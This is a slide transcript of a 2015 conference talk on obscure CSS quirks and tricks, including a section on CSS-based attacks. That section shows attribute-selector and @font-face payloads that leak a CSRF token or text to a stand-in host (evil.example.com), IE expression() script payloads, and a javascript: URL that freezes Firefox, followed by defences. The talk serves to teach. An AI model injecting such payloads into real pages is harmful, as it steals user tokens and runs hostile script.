Upgrade to Pro — share decks privately, control downloads, hide ads and more …

3.14 things I didn’t know about CSS @ CSSConf.asia 2015

3.14 things I didn’t know about CSS @ CSSConf.asia 2015

This talk showcases a series of obscure CSS fun facts, such as CSS syntax gimmicks and quirks, weird tricks that involve CSS in one way or another, and security vulnerabilities that are enabled by (ab)using CSS in unexpected ways.

Video: https://www.youtube.com/watch?v=KPL-mA77bDo

Mathias Bynens

November 18, 2015
Tweet

More Decks by Mathias Bynens

Other Decks in Technology

Transcript

  1. @mathias · #devfestasia
    3.14 things I didn’t
    know about CSS

    View full-size slide

  2. !important
    .foo .bar {
    color: red;
    }
    .bar {
    color: green;
    }

    View full-size slide

  3. .foo .bar {
    color: red;
    }
    .bar {
    color: green !important;
    }
    !important

    View full-size slide

  4. .foo .bar {
    color: red;
    }
    .bar {
    color: green !important;
    }
    !important

    View full-size slide

  5. .foo .bar {
    color: red;
    }
    .bar {
    color: green !important;
    }
    !important

    View full-size slide

  6. .foo .bar {
    color: red;
    }
    .bar.bar.bar.bar.bar.bar.bar.bar {
    color: green;
    }
    New !important best practice

    * not really
    *

    View full-size slide

  7. Font family names

    View full-size slide

  8. Font family names in CSS
    html {

    font-family: 'Comic Sans MS';

    }
    “If there’s whitespace in the font family name,
    it must be quoted.”

    View full-size slide

  9. Font family names in CSS
    html {

    font-family: Comic Sans MS;

    }
    “If there’s whitespace in the font family name,
    it must be quoted.”
    mths.be/bft

    View full-size slide

  10. Font family names in CSS
    html {

    font-family: 456bereastreet;

    }

    View full-size slide

  11. Font family names in CSS
    html {

    font-family: 456bereastreet;

    }

    View full-size slide

  12. Font family names in CSS
    html {

    font-family: \34 56bereastreet;

    }

    View full-size slide

  13. Font family names in CSS
    html {

    font-family: \34 56bereastreet;

    }

    View full-size slide

  14. Font family names in CSS
    html {

    font-family: '456bereastreet';

    }

    View full-size slide

  15. Attribute values

    View full-size slide

  16. Attribute values

    <br/>a[href="foo"] {<br/>background: hotpink;<br/>}<br/>

    View full-size slide

  17. Unquoted attribute values

    <br/>a[href=foo] {<br/>background: hotpink;<br/>}<br/>

    View full-size slide

  18. Unquoted attribute values

    <br/>a[href=foo|bar] {<br/>background: hotpink;<br/>}<br/>

    View full-size slide

  19. Unquoted attribute values

    <br/>a[href=foo|bar] {<br/>background: hotpink;<br/>}<br/>

    View full-size slide

  20. Unquoted attribute values

    <br/>a[href="foo|bar"] {<br/>background: hotpink;<br/>}<br/>

    View full-size slide

  21. Unquoted attribute values
    mths.be/bjn

    View full-size slide

  22. CSS comments

    View full-size slide

  23. CSS comments
    .some-selector {
    background: hotpink;
    /*color: red;*/
    text-align: center;
    }

    View full-size slide

  24. CSS comments
    .some-selector {
    background: hotpink;
    /*color: red;*/
    text-align: center;
    }

    View full-size slide

  25. CSS comments
    .some-selector {
    background: hotpink;
    //color: red;
    text-align: center;
    }

    View full-size slide

  26. CSS comments
    .some-selector {
    background: hotpink;
    //color: red;
    text-align: center;
    }

    View full-size slide

  27. CSS comments
    .some-selector {
    background: hotpink;
    //color: red;
    text-align: center;
    }

    mths.be/brz

    View full-size slide

  28. .some-selector {
    background: hotpink;
    colour: red;
    text-align: center;
    }
    CSS comments
    mths.be/brz

    View full-size slide

  29. .some-selector {
    background: hotpink;
    colour: red;
    text-align: center;
    }
    CSS comments
    mths.be/brz

    View full-size slide

  30. .some-selector {
    background: hotpink;
    colour: red;
    text-align: center;
    }
    CSS comments
    mths.be/brz

    View full-size slide

  31. .some-selector {
    background: hotpink;
    colour: red;
    text-align: center;
    }

    CSS comments
    mths.be/brz

    View full-size slide

  32. Valid HTML



    Foo



    …



    View full-size slide

  33. Valid HTML



    Foo



    …



    View full-size slide

  34. Valid HTML



    Huh?


    …


    View full-size slide

  35. Valid HTML



    Huh?


    …


    View full-size slide

  36. Valid HTML

    lolwut

    …


    View full-size slide

  37. Using CSS without
    HTML

    View full-size slide

  38. “No JS”

    mths.be/bsf

    View full-size slide

  39. $ curl -i https://mathiasbynens.be/demo/css-without-html
    HTTP/1.1 200 OK
    Date: Fri, 06 Nov 2015 13:33:37 GMT
    Link: ;rel=stylesheet
    Content-Length: 0
    Content-Type: text/html; charset=UTF-8
    CSS without HTML
    mths.be/bpe

    View full-size slide

  40. $ curl -i https://mathiasbynens.be/demo/css-without-html
    HTTP/1.1 200 OK
    Date: Fri, 06 Nov 2015 13:33:37 GMT
    Link: ;rel=stylesheet
    Content-Length: 0
    Content-Type: text/html; charset=UTF-8
    CSS without HTML
    mths.be/bpe

    View full-size slide

  41. U̶̓̄̈̄̉
    ̦ ̖̫̖̻
    nẛ̥ḯ ͎͈̪
    ̇͋cͯ̃̂̀̉
    ̲̰̝
    oͥ͢ ̮̠͈͍̱
    d̃ͨͫ
    ̤̻͉̞
    ȩ̭̟̳̳̪͈
    ̔͑̃ ̐ͣ̓͊
    ͈̬̘̹͙̙
    i ͥ̈́ͮ͛͒
    ̨ ̻nͩ̉̅̈́̇̒͑
    ̼̥̦̣ ̭̙̹
    ̇ͮͥͭ̇͌
    ̠Cͤ̋ͯ̑̏̈́ͥ
    ͍̦ ̯̠̘͎
    Sͥ͊̔̋
    ̞̣ ̜̪̲̗
    Sͧ̊ ͛
    ̮̞

    View full-size slide

  42. Classes and IDs in HTML

    legalese
    HTML 4 lyfe, homes!
    LOL

    Warning: …
    Outdated browser detected.
    mths.be/afd

    View full-size slide

  43. Classes and IDs in HTML
    Good luck styling me!
    heh
    huh
    wat
    mths.be/afd

    View full-size slide

  44. Escaping CSS selectors
    #\#id { }
    .\.class { }

    #\#id\.class\:hover\{\} { }
    #\#id\.class\3A hover\{\} { }
    .\[attr\=\'value\'\] { }
    #\34 04-error { }

    View full-size slide

  45. Escaping CSS selectors

    #© { }
    #\A9 { }

    .♥ { }
    .\2665 { }

    #“” { }
    #\201C \201D { }

    ." { }
    .\1F4A9 { }

    View full-size slide

  46. Escaping CSS selectors
    mths.be/bsd

    View full-size slide

  47. mths.be/cssescape

    View full-size slide

  48. Escaping CSS selectors
    var id = location.hash.slice(1);
    var $el = $('#' + id);
    // …
    mths.be/cssescape

    View full-size slide

  49. Escaping CSS selectors
    var id = location.hash.slice(1);
    var $el = $('#' + id);
    // …
    var $a = $('a[href="' + someValue + '"]');
    // …
    mths.be/cssescape

    View full-size slide

  50. Escaping CSS selectors
    var id = location.hash.slice(1);
    var $el = $('#' + id);
    // …
    var $a = $('a[href="' + someValue + '"]');
    // …
    mths.be/cssescape

    View full-size slide

  51. Escaping CSS selectors
    var id = location.hash.slice(1);
    var $el = $('#' + CSS.escape(id));
    // …
    var $a = $('a[href="' + CSS.escape(someValue) + '"]');
    // …
    mths.be/cssescape

    View full-size slide

  52. Using CSS for #evil$

    View full-size slide

  53. Injection contexts
    <br/>p { color: <%= USER_COLOR %>; }<br/>

    Hello <%= USER_NAME %>!
    View your account.

    <br/>window.userID = <%= USER_ID %>;<br/>

    View full-size slide

  54. What’s the worst you can do if
    you have control over a page’s
    CSS?

    View full-size slide

  55. <br/>p { color: <%= USER_COLOR %>; }<br/>

    Hello <%= USER_NAME %>!
    View your account.

    <br/>window.userID = <%= USER_ID %>;<br/>

    Injection contexts

    View full-size slide

  56. <br/>p { color: <%= USER_COLOR %>; }<br/>

    Hello <%= USER_NAME %>!
    View your account.

    <br/>window.userID = <%= USER_ID %>;<br/>

    Injection contexts

    View full-size slide

  57. name="csrf-token"
    id="csrf"
    value="abcdef…">
    Stealing data from the DOM
    mths.be/bsj

    View full-size slide

  58. #csrf[value^="a"] {
    background: url(//evil.example.com/?v=a);
    }
    #csrf[value^="b"] {
    background: url(//evil.example.com/?v=b);
    }
    #csrf[value^="c"] {
    background: url(//evil.example.com/?v=c);
    }
    /* … */
    Leaking an attribute value
    mths.be/bsj

    View full-size slide

  59. abcdefg
    Stealing data from the DOM
    mths.be/bsj

    View full-size slide

  60. @font-face {
    font-family: h4x0r;
    src: url(//evil.example.com/?v=A);
    unicode-range: U+0041;
    }
    #sensitive-information {
    font-family: h4x0r;
    }
    Leaking unique symbols from a text node
    mths.be/bup

    View full-size slide

  61. <br/>#myDiv {<br/>background: hotpink;<br/>position: absolute;<br/>left: expression(<br/>document.body.clientWidth / 2 -<br/>myDiv.offsetWidth / 2);<br/>top: expression(<br/>document.body.clientHeight / 2 -<br/>myDiv.offsetHeight / 2);<br/>}<br/>
    Lorem ipsum
    CSS Expressions in IE ≤ 7
    mths.be/brw

    View full-size slide

  62. <br/>#myDiv {<br/>background: hotpink;<br/>position: absolute;<br/>left: expression(<br/>document.body.clientWidth / 2 -<br/>myDiv.offsetWidth / 2);<br/>top: expression(<br/>document.body.clientHeight / 2 -<br/>myDiv.offsetHeight / 2);<br/>}<br/>
    Lorem ipsum
    CSS Expressions in IE ≤ 7
    mths.be/brw

    View full-size slide

  63. * {
    width: expression(
    alert('XSS through CSS')
    );
    }
    CSS Expressions in IE ≤ 7
    mths.be/brw

    View full-size slide

  64. * {
    width: expression(
    window.open('//evil.example.com/')
    );
    }
    CSS Expressions in IE ≤ 7
    mths.be/brw

    View full-size slide

  65. content="IE=Edge">
    IE’s legacy document modes
    mths.be/brx

    View full-size slide

  66. content="IE=7">
    IE’s legacy document modes
    mths.be/brx

    View full-size slide


  67. <br/>#myDiv {<br/>background: hotpink;<br/>position: absolute;<br/>left: expression(<br/>document.body.clientWidth / 2 -<br/>myDiv.offsetWidth / 2);<br/>top: expression(<br/>document.body.clientHeight / 2 -<br/>myDiv.offsetHeight / 2);<br/>}<br/>
    Lorem ipsum
    CSS Expressions in IE ≤ 10
    mths.be/brx

    View full-size slide

  68. content="IE=7">


    CSS Expressions in IE ≤ 10
    mths.be/bpu

    View full-size slide

  69. 1. sanitize user input before injecting it in a
    CSS context

    2. disallow framing using the HTTP header

    X-Frame-Options: DENY

    3. use
    How to avoid CSS expression
    vulnerabilities?
    mths.be/bpu

    View full-size slide

  70. 1. sanitize user input before injecting it in a
    CSS context

    2. disallow framing using the HTTP header

    X-Frame-Options: DENY

    3. use
    How to avoid CSS expression
    vulnerabilities?
    mths.be/bpu

    View full-size slide

  71. * {
    background: url('javascript:while(true){}');
    }
    Freezing Firefox
    mths.be/bsa

    View full-size slide

  72. One More Thing™
    #cssbandnames

    View full-size slide

  73. kbd {
    color: black;
    }
    What band is this?
    #cssbandnames

    View full-size slide

  74. kbd {
    color: black;
    }
    What band is this?
    The Black Keys
    #cssbandnames

    View full-size slide

  75. The Black Keys

    View full-size slide

  76. :root {
    background: #f00;
    }
    What band is this?
    #cssbandnames

    View full-size slide

  77. :root {
    background: #f00;
    }
    What band is this?
    Simply Red
    #cssbandnames

    View full-size slide

  78. head {
    display: block;
    content: '\1F4FB ';
    }
    What band is this?
    #cssbandnames

    View full-size slide

  79. head {
    display: block;
    content: '\1F4FB ';
    }
    What band is this?
    %head
    #cssbandnames

    View full-size slide

  80. hr {
    height: 1px;
    border: 0;
    background: hsl(0, 0%, 100%);
    }
    What band is this?
    #cssbandnames

    View full-size slide

  81. hr {
    height: 1px;
    border: 0;
    background: hsl(0, 0%, 100%);
    }
    What band is this?
    The White Stripes
    #cssbandnames

    View full-size slide

  82. The White Stripes

    View full-size slide

  83. .red-door {
    background-image: url(red-door.jpg);
    background-blend-mode: multiply;
    background-color: #000;
    }
    What song is this?

    View full-size slide

  84. .red-door {
    background-image: url(red-door.jpg);
    background-blend-mode: multiply;
    background-color: #000;
    }
    What song is this?
    Paint It Black
    by
    The Rolling Stones

    View full-size slide

  85. The Rolling Stones

    View full-size slide

  86. input[type="date"] {
    color: rgb(0, 255, 0);
    }
    What band is this?
    #cssbandnames

    View full-size slide

  87. input[type="date"] {
    color: rgb(0, 255, 0);
    }
    What band is this?
    Green Day
    #cssbandnames

    View full-size slide

  88. ed, emacs, nano, vi {
    font-family: monospace;
    }
    What band is this?
    #cssbandnames

    View full-size slide

  89. ed, emacs, nano, vi {
    font-family: monospace;
    }
    What band is this?
    Editors
    #cssbandnames

    View full-size slide

  90. p i {
    color: black;
    }
    What band is this?
    #cssbandnames

    View full-size slide

  91. p i {
    color: black;
    }
    What band is this?
    The Black ’d s
    #cssbandnames

    View full-size slide

  92. The Black ’d s

    View full-size slide

  93. Thanks to:
    Simon Pieters
    Tab Atkins
    Martin Kool
    Mario Heiderich
    Frederik Braun
    Mike West
    Divya Manian
    Masato Kinugawa

    View full-size slide

  94. Thanks!
    @mathias

    View full-size slide